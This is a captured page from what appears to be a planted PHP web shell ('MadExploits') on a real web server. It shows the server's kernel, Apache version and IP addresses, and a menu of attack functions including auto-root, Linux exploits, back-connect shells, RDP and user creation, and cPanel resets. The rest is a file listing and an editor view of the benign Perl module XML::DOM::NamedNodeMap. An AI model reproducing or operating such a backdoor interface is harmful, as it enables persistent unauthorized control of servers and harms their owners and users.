Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
XML /
DOM /
[ HOME SHELL ]
Name
Size
Permission
Action
AttDef.pod
662
B
-rw-r--r--
AttlistDecl.pod
1.16
KB
-rw-r--r--
Attr.pod
2.63
KB
-rw-r--r--
CDATASection.pod
1.23
KB
-rw-r--r--
CharacterData.pod
2.75
KB
-rw-r--r--
Comment.pod
438
B
-rw-r--r--
DOMException.pm
1.85
KB
-rw-r--r--
DOMImplementation.pod
665
B
-rw-r--r--
Document.pod
5.52
KB
-rw-r--r--
DocumentFragment.pod
2.03
KB
-rw-r--r--
DocumentType.pod
4.99
KB
-rw-r--r--
Element.pod
4.83
KB
-rw-r--r--
ElementDecl.pod
529
B
-rw-r--r--
Entity.pod
1.07
KB
-rw-r--r--
EntityReference.pod
1.27
KB
-rw-r--r--
NamedNodeMap.pm
5.19
KB
-rw-r--r--
NamedNodeMap.pod
3.56
KB
-rw-r--r--
Node.pod
12.77
KB
-rw-r--r--
NodeList.pm
695
B
-rw-r--r--
NodeList.pod
1.07
KB
-rw-r--r--
Notation.pod
874
B
-rw-r--r--
Parser.pod
2.65
KB
-rw-r--r--
PerlSAX.pm
940
B
-rw-r--r--
ProcessingInstruction.pod
802
B
-rw-r--r--
Text.pod
1.84
KB
-rw-r--r--
XMLDecl.pod
686
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NamedNodeMap.pm
###################################################################### package XML::DOM::NamedNodeMap; ###################################################################### use strict; use Carp; use XML::DOM::DOMException; use XML::DOM::NodeList; use vars qw( $Special ); # Constant definition: # Note: a real Name should have at least 1 char, so nobody else should use this $Special = ""; sub new { my ($class, %args) = @_; $args{Values} = new XML::DOM::NodeList; # Store all NamedNodeMap properties in element $Special bless { $Special => \%args}, $class; } sub getNamedItem { # Don't return the $Special item! ($_[1] eq $Special) ? undef : $_[0]->{$_[1]}; } sub setNamedItem { my ($self, $node) = @_; my $prop = $self->{$Special}; my $name = $node->getNodeName; if ($XML::DOM::SafeMode) { croak new XML::DOM::DOMException (NO_MODIFICATION_ALLOWED_ERR) if $self->isReadOnly; croak new XML::DOM::DOMException (WRONG_DOCUMENT_ERR) if $node->[XML::DOM::Node::_Doc] != $prop->{Doc}; croak new XML::DOM::DOMException (INUSE_ATTRIBUTE_ERR) if defined ($node->[XML::DOM::Node::_UsedIn]); croak new XML::DOM::DOMException (INVALID_CHARACTER_ERR, "can't add name with NodeName [$name] to NamedNodeMap") if $name eq $Special; } my $values = $prop->{Values}; my $index = -1; my $prev = $self->{$name}; if (defined $prev) { # decouple previous node $prev->decoupleUsedIn; # find index of $prev $index = 0; for my $val (@{$values}) { last if ($val == $prev); $index++; } } $self->{$name} = $node; $node->[XML::DOM::Node::_UsedIn] = $self; if ($index == -1) { push (@{$values}, $node); } else # replace previous node with new node { splice (@{$values}, $index, 1, $node); } $prev; } sub removeNamedItem { my ($self, $name) = @_; # Be careful that user doesn't delete $Special node! croak new XML::DOM::DOMException (NOT_FOUND_ERR) if $name eq $Special; my $node = $self->{$name}; croak new XML::DOM::DOMException (NOT_FOUND_ERR) unless defined $node; # The DOM Spec doesn't mention this Exception - I think it's an oversight croak new XML::DOM::DOMException (NO_MODIFICATION_ALLOWED_ERR) if $self->isReadOnly; $node->decoupleUsedIn; delete $self->{$name}; # remove node from Values list my $values = $self->getValues; my $index = 0; for my $val (@{$values}) { if ($val == $node) { splice (@{$values}, $index, 1, ()); last; } $index++; } $node; } # The following 2 are really bogus. DOM should use an iterator instead (Clark) sub item { my ($self, $item) = @_; $self->{$Special}->{Values}->[$item]; } sub getLength { my ($self) = @_; my $vals = $self->{$Special}->{Values}; int (@$vals); } #------------------------------------------------------------ # Extra method implementations sub isReadOnly { return 0 if $XML::DOM::IgnoreReadOnly; my $used = $_[0]->{$Special}->{UsedIn}; defined $used ? $used->isReadOnly : 0; } sub cloneNode { my ($self, $deep) = @_; my $prop = $self->{$Special}; my $map = new XML::DOM::NamedNodeMap (Doc => $prop->{Doc}); # Not copying Parent property on purpose! local $XML::DOM::IgnoreReadOnly = 1; # temporarily... for my $val (@{$prop->{Values}}) { my $key = $val->getNodeName; my $newNode = $val->cloneNode ($deep); $newNode->[XML::DOM::Node::_UsedIn] = $map; $map->{$key} = $newNode; push (@{$map->{$Special}->{Values}}, $newNode); } $map; } sub setOwnerDocument { my ($self, $doc) = @_; my $special = $self->{$Special}; $special->{Doc} = $doc; for my $kid (@{$special->{Values}}) { $kid->setOwnerDocument ($doc); } } sub getChildIndex { my ($self, $attr) = @_; my $i = 0; for my $kid (@{$self->{$Special}->{Values}}) { return $i if $kid == $attr; $i++; } -1; # not found } sub getValues { wantarray ? @{ $_[0]->{$Special}->{Values} } : $_[0]->{$Special}->{Values}; } # Remove circular dependencies. The NamedNodeMap and its values should # not be used afterwards. sub dispose { my $self = shift; for my $kid (@{$self->getValues}) { undef $kid->[XML::DOM::Node::_UsedIn]; # was delete $kid->dispose; } delete $self->{$Special}->{Doc}; delete $self->{$Special}->{Parent}; delete $self->{$Special}->{Values}; for my $key (keys %$self) { delete $self->{$key}; } } sub setParentNode { $_[0]->{$Special}->{Parent} = $_[1]; } sub getProperty { $_[0]->{$Special}->{$_[1]}; } #?? remove after debugging sub toString { my ($self) = @_; my $str = "NamedNodeMap["; while (my ($key, $val) = each %$self) { if ($key eq $Special) { $str .= "##Special ("; while (my ($k, $v) = each %$val) { if ($k eq "Values") { $str .= $k . " => ["; for my $a (@$v) { # $str .= $a->getNodeName . "=" . $a . ","; $str .= $a->toString . ","; } $str .= "], "; } else { $str .= $k . " => " . $v . ", "; } } $str .= "), "; } else { $str .= $key . " => " . $val . ", "; } } $str . "]"; } 1; # package return code
Close